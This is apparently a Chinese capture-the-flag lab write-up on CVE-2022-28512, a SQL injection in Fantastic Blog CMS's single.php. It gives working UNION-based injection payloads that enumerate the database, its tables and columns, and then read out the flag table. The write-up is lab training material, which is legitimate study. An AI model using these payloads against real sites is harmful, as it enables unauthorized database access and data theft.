春秋云境——CVE-2022-28512

靶标介绍:

Fantastic Blog (CMS)是一个绝对出色的博客/文章网络内容管理系统。它使您可以轻松地管理您的网站或博客,它为您提供了广泛的功能来定制您的博客以满足您的需求。它具有强大的功能,您无需接触任何代码即可启动并运行您的博客。 该CMS的/single.php路径下,id参数存在一个SQL注入漏洞。

1. 初始访问测试

正常请求文章接口,页面正常返回文章内容:

?id=5

2. 注入类型判断

尝试单引号闭合测试,页面报错/内容异常,证明参数被单引号包裹,为字符型注入,而非初始判断的数字型注入。

3. 查询字段数探测(Order By)

通过 order by 逐级猜测查询字段数量,最终确认该查询语句共 9个字段,只有字段数量一致,联合查询才能正常执行。

4. 显式回显位探测

使用负数id闭合,规避原有文章数据干扰,探测页面回显位置:

复制代码
?id=-5' union select 1,2,3,4,5,6,7,8,9--+

测试得出页面可正常回显查询数据,具备Union联合查询条件

5. 查询当前数据库名

database() 放置回显位,获取当前网站数据库名称:

复制代码
?id=-5' union select 1,2,3,database(),5,6,7,8,9--+

6. 爆表名(当前数据库所有数据表)

使用 group_concat() 函数解决页面Limit单行限制,一次性拼接输出所有表名,避免数据截断遗漏:

如果出现多行只显示一张表(limit 限制)

使用 group_concat() 拼接所有表,一次性全部输出

复制代码
?id=-5' union select 1,2,group_concat(table_name),4,5,6,7,8,9 from information_schema.tables where table_schema=database()--+

7. 爆列名(查询数据表字段)

以核心用户表flag,

复制代码
?id=-5' union select 1,group_concat(column_name),3,4,5,6,7,8,9 from information_schema.columns where table_schema=database() and table_name='flag'--+

8.读取flag专属表数据

复制代码
?id=-5' union select 1,group_concat(flag),3,4,5,6,7,8,9 from flag--+
相关推荐
巨大八爪鱼13 小时前
XP系统运行IoTDB 2.0.10数据库服务器
数据库·iotdb·xp
卓怡学长13 小时前
w181springboot机场乘客服务系统
java·数据库·spring boot·spring·intellij-idea
阮胜昌13 小时前
MySQL 9.7.0 LTS 现已发布:扩展了社区功能,并为企业级应用增加了动态数据脱敏功能
数据库·mysql
晓子文集13 小时前
Tushare接口文档:每日涨跌停价格(stk_limit)
大数据·数据库·金融数据·量化投资
是隼人14 小时前
buuctf-pwn axb_2019_fmt32题解(学习过程持续更新)
c语言·学习·安全·pwn入门·ctf入门
l1t14 小时前
测试DuckDB luajit插件读取本地通达信文件
开发语言·数据库·duckdb
拓人间精准客14 小时前
2025–2026 ToB 精准拓客实战手册:用“企业数据画像 + 动态筛选“击穿七大行业获客内卷
大数据·数据库·人工智能
txg66614 小时前
Less Is More:如何用半监督学习提升漏洞检测能力
人工智能·深度学习·学习·安全·开源软件
杨云龙UP14 小时前
Toad for Oracle 调整表空间 Datafile 大小:Usage、Used Pct of Max 与 RESIZE 实战
linux·运维·服务器·数据库·oracle·dba·数据库运维